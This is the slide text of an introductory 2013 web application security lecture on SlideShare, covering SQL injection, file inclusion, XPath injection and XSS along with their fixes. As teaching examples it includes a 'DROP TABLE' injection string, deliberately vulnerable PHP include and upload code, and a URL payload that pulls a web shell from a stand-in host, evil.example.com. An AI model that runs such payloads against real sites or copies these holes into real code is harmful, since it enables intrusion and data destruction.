SlideShare a Scribd company logo
1 of 68
Download to read offline
Web Application
Security
Slides by: Ynon Perek
ynon@ynonperek.com
http://ynonperek.com
Monday, April 29, 13
Agenda
n Intro to Web Security
n Web Application Architecture
n Code Injections
n Request Forgeries
n Losing Trust
Monday, April 29, 13
Reasons for Security
Monday, April 29, 13
Reasons for Security
n Reliable systems are secure
n Security of a system = Security of the weakest part
n Hard to fix after system is ready
n Everyone should care
Monday, April 29, 13
How It All Started
n John Draper (Cap’n
Crunch)
n phreaking in the 70s
Monday, April 29, 13
How It All Started
n 1986 Brain
n 1988 Morris
n Both (meant as) harmless
n Lead to CERT
Monday, April 29, 13
How It All Started
n 90s gave birth to phishing
attacks
n AOL being the first victim
Monday, April 29, 13
How It All Started
n Security became an issue
n 2003 Summer of worms
n Blaster, Nachi, SoBig
Monday, April 29, 13
IT Security Today
NPR.org Hacked; 'Syrian Electronic
Army' Takes Responsibility
April 16,
Monday, April 29, 13
IT Security Today
Monday, April 29, 13
IT Security Today
Monday, April 29, 13
IT Security Today
‫מטוס‬ ‫להפיל‬ ‫כדי‬ ‫שצריך‬ ‫מה‬ ‫כל‬ ,‫פחד‬ ‫איזה‬
‫אנדרואיד‬ ‫זה‬
.‫אחת‬ ‫תגובה‬ .10:04 ,2013 ‫באפריל‬ 12 ‫רז‬ ‫זהבי‬ ‫נועה‬ ‫מאת‬
‫סלולר‬ ,‫מידע‬ ‫אבטחת‬ ‫לקטגוריות‬ ‫שייך‬
‫אבטחה‬ ‫פריצת‬ ‫ישנה‬ ‫הפיקוח‬ ‫מגדלי‬ ‫בתוכנות‬ ‫כי‬ ‫גילה‬ ‫האקר‬
.‫ההודעה‬ ‫את‬ ‫לו‬ ‫שולח‬ ‫באמת‬ ‫מי‬ ‫לדעת‬ ‫יכול‬ ‫לא‬ ‫הטייס‬ – ‫חמורה‬
‫ואף‬ ‫מטוס‬ ‫על‬ ‫להשתלט‬ ‫ניתן‬ ‫שפיתח‬ ‫אפליקצייה‬ ‫באמצעות‬
‫לרסקו‬
Monday, April 29, 13
Why Is It Hard ?
n Secure code problems:
n Lack of knowledge
n Carelessness
Monday, April 29, 13
Secure From The Start
n Fixing security errors after coding is expensive
n Writing secure code is easy
Monday, April 29, 13
Q & A
Monday, April 29, 13
Web Applications
Monday, April 29, 13
Web Architecture
Client Server
GET Data
Send Response
Monday, April 29, 13
Server Side
n Creates data and sends
back to client
n Data can be: HTML,
JSON, XML, Images and
more
n Choose your flavor
Monday, April 29, 13
Server Side Flaws
n Code injections
n Information leak
Monday, April 29, 13
Client Side
n Web browser takes data
and renders on screen
n Browsers: IE, Firefox,
Chrome, Safari
n Languages: JavaScript,
ActionScript, Java
(Applets)
Monday, April 29, 13
Client Side Flaws
n Code injections
n Information leak
Monday, April 29, 13
Web Weakness
n Client-Server gap is too easy
n HTTP is state-less
n Many different technologies and vendors
n Code/Data intermix
n It’s way more complicated than it looks
Monday, April 29, 13
Code Injections
n Query Injections (SQL, XPath, LDAP)
n Remote File Inclusion
n JavaScript Injections ( XSS, CSRF )
Monday, April 29, 13
SQL Injections
n Started in 1999
n (Probably) the most famous technique
n 83% of data breaches 2005-2011
n attack rate: 70 attempts / hour
Monday, April 29, 13
Famous Victims
n (2002) guess.com revealed 200K customer names
and credit cards
n (2007) Microsoft UK Defacement
n (2009) RockYou DB hacked for 30Mil users
n (2011) MySql.com hacked
n (2012) Yahoo lost 450K login credentials
Monday, April 29, 13
SQL Injections
Monday, April 29, 13
What Did Bobby Break
$query = "SELECT name, grade " +
              "FROM students " +
              "WHERE name = '$user'"
Monday, April 29, 13
What Did Bobby Break
$query = "SELECT name, grade " +
         "FROM students " +
         "WHERE name =  'Robert'; DROP TABLE students'"
Expected data
got code
Monday, April 29, 13
SQLi Examples
n See if you can log in
n Login form code:
https://github.com/ynonp/web-security-demos/
blob/master/lib/WebSecurity/Demos/Controller/
SQLInjection/Login.pm
Monday, April 29, 13
SQLi Example
n See if you can print out names and passwords
n https://github.com/ynonp/web-security-demos/
blob/master/lib/WebSecurity/Demos/Controller/
SQLInjection/InfoLeak.pm
Monday, April 29, 13
Affected Languages
n All programming languages
n Usually found in ASP, Java, Perl and PHP
Monday, April 29, 13
Bug Spotting
n Search for code that:
n Takes user input
n Does not validate input
n Uses input to talk to DB
Monday, April 29, 13
Bug Spotting
n In code review
n Find DB code
n Make sure its input is sanitized
Monday, April 29, 13
Black-Box Spotting
n Many automated tools will
help you find SQL
Inejctions
n Popular: Havij
http://www.itsecteam.com/
products/havij-v116-
advanced-sql-injection/
Monday, April 29, 13
How To Avoid
n Use prepared statements
n Demo:
SELECT name, grade FROM students
WHERE name=?
? are later bound
to data
Monday, April 29, 13
How To Avoid
n Sanitize your input. Always
n Demo:
if ( ! $name =~ /^[a-z]+$/ ) {
  die "Invalid Input";
}
 
if ( ! $age =~ /^[0-9]+$/ ) {
  die "Invalid Input";
}
Monday, April 29, 13
Extra Precautions
n Keep users passwords hashed in the DB
n Encrypt important data in DB
n Microsoft URLScan
n TrustWave ModSecurity (Open Source)
Monday, April 29, 13
Q & A
SQL Injections
Monday, April 29, 13
Remote File Inclusion
n Users upload files
n Some files are dangerous
n OR
n Server loads files based on user input
Monday, April 29, 13
The Risk
<?php
if (isset( $_GET['COLOR'] ) ){
include( $_GET['COLOR'] . '.php' );
}
?>
With
/vulnerable.php?COLOR=http://
evil.example.com/webshell.txt
Monday, April 29, 13
Local File Inclusion
n Other bugs allow attacker to upload a PHP file to
your server
n Usually missing upload file name tests
Monday, April 29, 13
Demo: imgur
Monday, April 29, 13
The Risk
Server
Save editor.php
upload.php
uploads/editor.php
Monday, April 29, 13
Remote File Demo
if ($_POST['url']) {
        $uploaddir = $_POST['url'];
}
 
$first_filename = $_FILES['uploadfile']['name'];
$filename = md5($first_filename);
$ext = substr($first_filename, 1 + strrpos($first_filename, '.'));
$file = $uploaddir . basename($filename . '.' . $ext);
 
if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], $file)) {
        echo basename($filename . '.' . $ext);
} else {
        echo 'error';
}
Monday, April 29, 13
Example: OpenBB
PHP remote file inclusion vulnerability in Open
Bulletin Board (OpenBB) 1.0.8 and earlier allows
remote attackers to execute arbitrary PHP code
via a URL in the root_path parameter to (1)
index.php and possibly (2) collector.php.
CVE-2006-4722
Monday, April 29, 13
Bug Spotting
n Search for code that loads external files
n Search for code that stores external files
n Make sure file name is sanitized
Monday, April 29, 13
How To Avoid
n Avoid by sanitizing your input
n Don’t allow uploads if you don’t have to
Monday, April 29, 13
Other Injections
n XPath Injection
n LDAP Injection
Monday, April 29, 13
Demo
n Try to find a company’s id using:
https://github.com/ynonp/web-security-demos/
blob/master/lib/WebSecurity/Demos/Controller/
XPathInjection/Leak.pm
Monday, April 29, 13
Client-Side Injections
n A relatively new category of injections uses Client
Side languages (mainly JavaScript)
n Attacker uses website to attack other users
Monday, April 29, 13
JavaScript Injections
Evil Hacker
Honest User
Web
Application
(Email)
Send message to
honest user
Message includes
evil JS code
Monday, April 29, 13
JavaScript Security
n Browsers use a security policy called
“Same Origin Policy”
n A page has an origin
n Some actions are restricted to the page’s origin
Monday, April 29, 13
JavaScript Risks
n Same Origin Policy protects the following:
n Unauthorized access to cookies
n Unauthorized access to canvas
n Unauthorized AJAX calls
Monday, April 29, 13
Famous Injections
n XSS is the most famous JavaScript injection
n Variants: Inject code to flash
Monday, April 29, 13
Famous Injections
Monday, April 29, 13
Famous Injections
Twitter, Sep 2010
Monday, April 29, 13
Famous Injections
Yahoo, Jan 2013
Monday, April 29, 13
Famous Injections
n “Sammy Is My Hero”
n (2005) Sammy’s worm infected a Million accounts
in less than 20 hours
Monday, April 29, 13
Famous Injections
Monday, April 29, 13
Examples
n Throwing users out of a public chat room
n Getting a user to send a “fake” message
https://github.com/ynonp/web-security-demos/
blob/master/lib/WebSecurity/Demos/Controller/
JSInjection/Chatter.pm
Monday, April 29, 13
Examples
n Hijacking a user’s session through messaging
n Getting a user to send a fake message
https://github.com/ynonp/web-security-demos/
blob/master/lib/WebSecurity/Demos/Controller/
XSS/SessionHijack.pm
Monday, April 29, 13
Bug Spotting
n Search for code that writes markup to user
n Verify all output is sanitized
Monday, April 29, 13
Bug Spotting
n http://
xsser.sourceforge.net/
n Python script that detects
XSS bugs in sites
Monday, April 29, 13
Avoiding The Bug
n Use the framework
n Sanitize your output
n Consider other users
Monday, April 29, 13
Q & A
Client-Side Injections
Monday, April 29, 13
Code Weak Spots
n Injections are more likely
to occur in:
n Cookies
n HTTP Headers
n Don’t forget to sanitize
these too
Monday, April 29, 13
Web Security
n Security of a system = the weakest part
n System breaches usually involve more than one
vulnerability
n Use the power of frameworks
Monday, April 29, 13
Thanks For Listening
n Ynon Perek
n http://ynonperek.com
n ynon@ynonperek.com
Monday, April 29, 13

More Related Content

Viewers also liked

Security in Web 2.0, Social Web and Cloud
Security in Web 2.0, Social Web and CloudSecurity in Web 2.0, Social Web and Cloud
Security in Web 2.0, Social Web and CloudITDogadjaji.com
 
Introduction to web security @ confess 2012
Introduction to web security @ confess 2012Introduction to web security @ confess 2012
Introduction to web security @ confess 2012jakobkorherr
 
Cisco Study: State of Web Security
Cisco Study: State of Web Security Cisco Study: State of Web Security
Cisco Study: State of Web Security Cisco Canada
 
Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web SecurityChris Shiflett
 
Modern Web Security
Modern Web SecurityModern Web Security
Modern Web SecurityBill Condo
 
Top 10 Web App Security Risks
Top 10 Web App Security RisksTop 10 Web App Security Risks
Top 10 Web App Security RisksSperasoft
 
Introduction to Web security
Introduction to Web securityIntroduction to Web security
Introduction to Web securityjeyaselvir
 
Data protection and security on the web, ESWC2014 Panel
Data protection and security on the web, ESWC2014 PanelData protection and security on the web, ESWC2014 Panel
Data protection and security on the web, ESWC2014 PanelFabien Gandon
 
Web Server Web Site Security
Web Server Web Site SecurityWeb Server Web Site Security
Web Server Web Site SecuritySteven Cahill
 
DrupalCamp London 2017 - Web site insecurity
DrupalCamp London 2017 - Web site insecurity DrupalCamp London 2017 - Web site insecurity
DrupalCamp London 2017 - Web site insecurity George Boobyer
 
Tutorial 09 - Security on the Internet and the Web
Tutorial 09 - Security on the Internet and the WebTutorial 09 - Security on the Internet and the Web
Tutorial 09 - Security on the Internet and the Webdpd
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesCarol McDonald
 
網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-AreaOrange Tsai
 
Presentation cisco iron port email & web security
Presentation   cisco iron port email & web securityPresentation   cisco iron port email & web security
Presentation cisco iron port email & web securityxKinAnx
 

Viewers also liked (20)

Web Security
Web SecurityWeb Security
Web Security
 
Security in Web 2.0, Social Web and Cloud
Security in Web 2.0, Social Web and CloudSecurity in Web 2.0, Social Web and Cloud
Security in Web 2.0, Social Web and Cloud
 
Introduction to web security @ confess 2012
Introduction to web security @ confess 2012Introduction to web security @ confess 2012
Introduction to web security @ confess 2012
 
Cisco Study: State of Web Security
Cisco Study: State of Web Security Cisco Study: State of Web Security
Cisco Study: State of Web Security
 
Web Security
Web SecurityWeb Security
Web Security
 
Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web Security
 
Modern Web Security
Modern Web SecurityModern Web Security
Modern Web Security
 
Top 10 Web App Security Risks
Top 10 Web App Security RisksTop 10 Web App Security Risks
Top 10 Web App Security Risks
 
Introduction to Web security
Introduction to Web securityIntroduction to Web security
Introduction to Web security
 
Web security
Web securityWeb security
Web security
 
Data protection and security on the web, ESWC2014 Panel
Data protection and security on the web, ESWC2014 PanelData protection and security on the web, ESWC2014 Panel
Data protection and security on the web, ESWC2014 Panel
 
Web Server Web Site Security
Web Server Web Site SecurityWeb Server Web Site Security
Web Server Web Site Security
 
DrupalCamp London 2017 - Web site insecurity
DrupalCamp London 2017 - Web site insecurity DrupalCamp London 2017 - Web site insecurity
DrupalCamp London 2017 - Web site insecurity
 
Extreme security in web servers
Extreme security in  web serversExtreme security in  web servers
Extreme security in web servers
 
Tutorial 09 - Security on the Internet and the Web
Tutorial 09 - Security on the Internet and the WebTutorial 09 - Security on the Internet and the Web
Tutorial 09 - Security on the Internet and the Web
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security Vulnerabilities
 
Web security
Web securityWeb security
Web security
 
網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area
 
Web Security 101
Web Security 101Web Security 101
Web Security 101
 
Presentation cisco iron port email & web security
Presentation   cisco iron port email & web securityPresentation   cisco iron port email & web security
Presentation cisco iron port email & web security
 

Similar to Web Application Security

Development Processes
Development ProcessesDevelopment Processes
Development Processessblom
 
Password Attack
Password Attack Password Attack
Password Attack Sina Manavi
 
How to find_vulnerability_in_software
How to find_vulnerability_in_softwareHow to find_vulnerability_in_software
How to find_vulnerability_in_softwaresanghwan ahn
 
Engineering culture
Engineering cultureEngineering culture
Engineering culturePamela Fox
 
Information Security Day for Penn State Ag Sciences
Information Security Day for Penn State Ag SciencesInformation Security Day for Penn State Ag Sciences
Information Security Day for Penn State Ag SciencesVince Verbeke
 
php[architect] Summit Series DevOps 2013 - Rock solid deployment of PHP apps
php[architect] Summit Series DevOps 2013 - Rock solid deployment of PHP appsphp[architect] Summit Series DevOps 2013 - Rock solid deployment of PHP apps
php[architect] Summit Series DevOps 2013 - Rock solid deployment of PHP appsPablo Godel
 
Keeping it small - Getting to know the Slim PHP micro framework
Keeping it small - Getting to know the Slim PHP micro frameworkKeeping it small - Getting to know the Slim PHP micro framework
Keeping it small - Getting to know the Slim PHP micro frameworkJeremy Kendall
 
The Dark Arts of Hacking.
The Dark Arts of Hacking.The Dark Arts of Hacking.
The Dark Arts of Hacking.Sumutiu Marius
 
Web Application Testing for Today’s Biggest and Emerging Threats
Web Application Testing for Today’s Biggest and Emerging ThreatsWeb Application Testing for Today’s Biggest and Emerging Threats
Web Application Testing for Today’s Biggest and Emerging ThreatsAlan Kan
 
HTML5 Web Standards
HTML5 Web StandardsHTML5 Web Standards
HTML5 Web StandardsVu Tran Lam
 
Sohams cryptography basics
Sohams cryptography basicsSohams cryptography basics
Sohams cryptography basicsSoham Sengupta
 
Android Security & Penetration Testing
Android Security & Penetration TestingAndroid Security & Penetration Testing
Android Security & Penetration TestingSubho Halder
 
Low Cost Tools for Security Challenges - Timothy De Block
Low Cost Tools for Security Challenges - Timothy De BlockLow Cost Tools for Security Challenges - Timothy De Block
Low Cost Tools for Security Challenges - Timothy De BlockIT-oLogy
 
Ch04 Footprinting and Social Engineering
Ch04 Footprinting and Social EngineeringCh04 Footprinting and Social Engineering
Ch04 Footprinting and Social Engineeringphanleson
 
OpenTechTalks: Ethical hacking with Kali Linux (Tijl Deneut, UGent)
OpenTechTalks: Ethical hacking with Kali Linux (Tijl Deneut, UGent)OpenTechTalks: Ethical hacking with Kali Linux (Tijl Deneut, UGent)
OpenTechTalks: Ethical hacking with Kali Linux (Tijl Deneut, UGent)Avansa Mid- en Zuidwest
 
Tech talk about iswc2013
Tech talk about iswc2013Tech talk about iswc2013
Tech talk about iswc2013Rodrigo Senra
 
Abusing "Accepted Risk" With 3rd Party C2 - HackMiamiCon5
Abusing "Accepted Risk" With 3rd Party C2 - HackMiamiCon5Abusing "Accepted Risk" With 3rd Party C2 - HackMiamiCon5
Abusing "Accepted Risk" With 3rd Party C2 - HackMiamiCon5sixdub
 

Similar to Web Application Security (20)

Development Processes
Development ProcessesDevelopment Processes
Development Processes
 
Password Attack
Password Attack Password Attack
Password Attack
 
How to find_vulnerability_in_software
How to find_vulnerability_in_softwareHow to find_vulnerability_in_software
How to find_vulnerability_in_software
 
Engineering culture
Engineering cultureEngineering culture
Engineering culture
 
Information Security Day for Penn State Ag Sciences
Information Security Day for Penn State Ag SciencesInformation Security Day for Penn State Ag Sciences
Information Security Day for Penn State Ag Sciences
 
Soham web security
Soham web securitySoham web security
Soham web security
 
php[architect] Summit Series DevOps 2013 - Rock solid deployment of PHP apps
php[architect] Summit Series DevOps 2013 - Rock solid deployment of PHP appsphp[architect] Summit Series DevOps 2013 - Rock solid deployment of PHP apps
php[architect] Summit Series DevOps 2013 - Rock solid deployment of PHP apps
 
Keeping it small - Getting to know the Slim PHP micro framework
Keeping it small - Getting to know the Slim PHP micro frameworkKeeping it small - Getting to know the Slim PHP micro framework
Keeping it small - Getting to know the Slim PHP micro framework
 
The Dark Arts of Hacking.
The Dark Arts of Hacking.The Dark Arts of Hacking.
The Dark Arts of Hacking.
 
Edinburgh
EdinburghEdinburgh
Edinburgh
 
Web Application Testing for Today’s Biggest and Emerging Threats
Web Application Testing for Today’s Biggest and Emerging ThreatsWeb Application Testing for Today’s Biggest and Emerging Threats
Web Application Testing for Today’s Biggest and Emerging Threats
 
HTML5 Web Standards
HTML5 Web StandardsHTML5 Web Standards
HTML5 Web Standards
 
Sohams cryptography basics
Sohams cryptography basicsSohams cryptography basics
Sohams cryptography basics
 
Android Security & Penetration Testing
Android Security & Penetration TestingAndroid Security & Penetration Testing
Android Security & Penetration Testing
 
PHP Security Basics
PHP Security BasicsPHP Security Basics
PHP Security Basics
 
Low Cost Tools for Security Challenges - Timothy De Block
Low Cost Tools for Security Challenges - Timothy De BlockLow Cost Tools for Security Challenges - Timothy De Block
Low Cost Tools for Security Challenges - Timothy De Block
 
Ch04 Footprinting and Social Engineering
Ch04 Footprinting and Social EngineeringCh04 Footprinting and Social Engineering
Ch04 Footprinting and Social Engineering
 
OpenTechTalks: Ethical hacking with Kali Linux (Tijl Deneut, UGent)
OpenTechTalks: Ethical hacking with Kali Linux (Tijl Deneut, UGent)OpenTechTalks: Ethical hacking with Kali Linux (Tijl Deneut, UGent)
OpenTechTalks: Ethical hacking with Kali Linux (Tijl Deneut, UGent)
 
Tech talk about iswc2013
Tech talk about iswc2013Tech talk about iswc2013
Tech talk about iswc2013
 
Abusing "Accepted Risk" With 3rd Party C2 - HackMiamiCon5
Abusing "Accepted Risk" With 3rd Party C2 - HackMiamiCon5Abusing "Accepted Risk" With 3rd Party C2 - HackMiamiCon5
Abusing "Accepted Risk" With 3rd Party C2 - HackMiamiCon5
 

More from Ynon Perek

09 performance
09 performance09 performance
09 performanceYnon Perek
 
Mobile Web Intro
Mobile Web IntroMobile Web Intro
Mobile Web IntroYnon Perek
 
Qt multi threads
Qt multi threadsQt multi threads
Qt multi threadsYnon Perek
 
Mobile Devices
Mobile DevicesMobile Devices
Mobile DevicesYnon Perek
 
Architecture app
Architecture appArchitecture app
Architecture appYnon Perek
 
Unit Testing JavaScript Applications
Unit Testing JavaScript ApplicationsUnit Testing JavaScript Applications
Unit Testing JavaScript ApplicationsYnon Perek
 
How to write easy-to-test JavaScript
How to write easy-to-test JavaScriptHow to write easy-to-test JavaScript
How to write easy-to-test JavaScriptYnon Perek
 
Introduction to Selenium and Ruby
Introduction to Selenium and RubyIntroduction to Selenium and Ruby
Introduction to Selenium and RubyYnon Perek
 
Introduction To Web Application Testing
Introduction To Web Application TestingIntroduction To Web Application Testing
Introduction To Web Application TestingYnon Perek
 
Qt Design Patterns
Qt Design PatternsQt Design Patterns
Qt Design PatternsYnon Perek
 
JavaScript DOM Manipulations
JavaScript DOM ManipulationsJavaScript DOM Manipulations
JavaScript DOM ManipulationsYnon Perek
 

More from Ynon Perek (20)

Regexp
RegexpRegexp
Regexp
 
Html5 intro
Html5 introHtml5 intro
Html5 intro
 
09 performance
09 performance09 performance
09 performance
 
Mobile Web Intro
Mobile Web IntroMobile Web Intro
Mobile Web Intro
 
Qt multi threads
Qt multi threadsQt multi threads
Qt multi threads
 
Vimperl
VimperlVimperl
Vimperl
 
Syllabus
SyllabusSyllabus
Syllabus
 
Mobile Devices
Mobile DevicesMobile Devices
Mobile Devices
 
Network
NetworkNetwork
Network
 
Architecture app
Architecture appArchitecture app
Architecture app
 
Cryptography
CryptographyCryptography
Cryptography
 
Unit Testing JavaScript Applications
Unit Testing JavaScript ApplicationsUnit Testing JavaScript Applications
Unit Testing JavaScript Applications
 
How to write easy-to-test JavaScript
How to write easy-to-test JavaScriptHow to write easy-to-test JavaScript
How to write easy-to-test JavaScript
 
Introduction to Selenium and Ruby
Introduction to Selenium and RubyIntroduction to Selenium and Ruby
Introduction to Selenium and Ruby
 
Introduction To Web Application Testing
Introduction To Web Application TestingIntroduction To Web Application Testing
Introduction To Web Application Testing
 
Accessibility
AccessibilityAccessibility
Accessibility
 
Angularjs
AngularjsAngularjs
Angularjs
 
Js memory
Js memoryJs memory
Js memory
 
Qt Design Patterns
Qt Design PatternsQt Design Patterns
Qt Design Patterns
 
JavaScript DOM Manipulations
JavaScript DOM ManipulationsJavaScript DOM Manipulations
JavaScript DOM Manipulations
 

Recently uploaded

Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersThousandEyes
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...shyamraj55
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsEnterprise Knowledge
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure servicePooja Nehwal
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?XfilesPro
 
Pigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food ManufacturingPigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food ManufacturingPigging Solutions
 
Key Features Of Token Development (1).pptx
Key  Features Of Token  Development (1).pptxKey  Features Of Token  Development (1).pptx
Key Features Of Token Development (1).pptxLBM Solutions
 
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...HostedbyConfluent
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024Scott Keck-Warren
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking MenDelhi Call girls
 
Benefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other FrameworksBenefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other FrameworksSoftradix Technologies
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxMalak Abu Hammad
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationSafe Software
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Alan Dix
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitecturePixlogix Infotech
 

Recently uploaded (20)

Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
 
Vulnerability_Management_GRC_by Sohang Sengupta.pptx
Vulnerability_Management_GRC_by Sohang Sengupta.pptxVulnerability_Management_GRC_by Sohang Sengupta.pptx
Vulnerability_Management_GRC_by Sohang Sengupta.pptx
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?
 
Pigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food ManufacturingPigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food Manufacturing
 
Key Features Of Token Development (1).pptx
Key  Features Of Token  Development (1).pptxKey  Features Of Token  Development (1).pptx
Key Features Of Token Development (1).pptx
 
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 
Benefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other FrameworksBenefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other Frameworks
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptx
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
 
Understanding the Laravel MVC Architecture
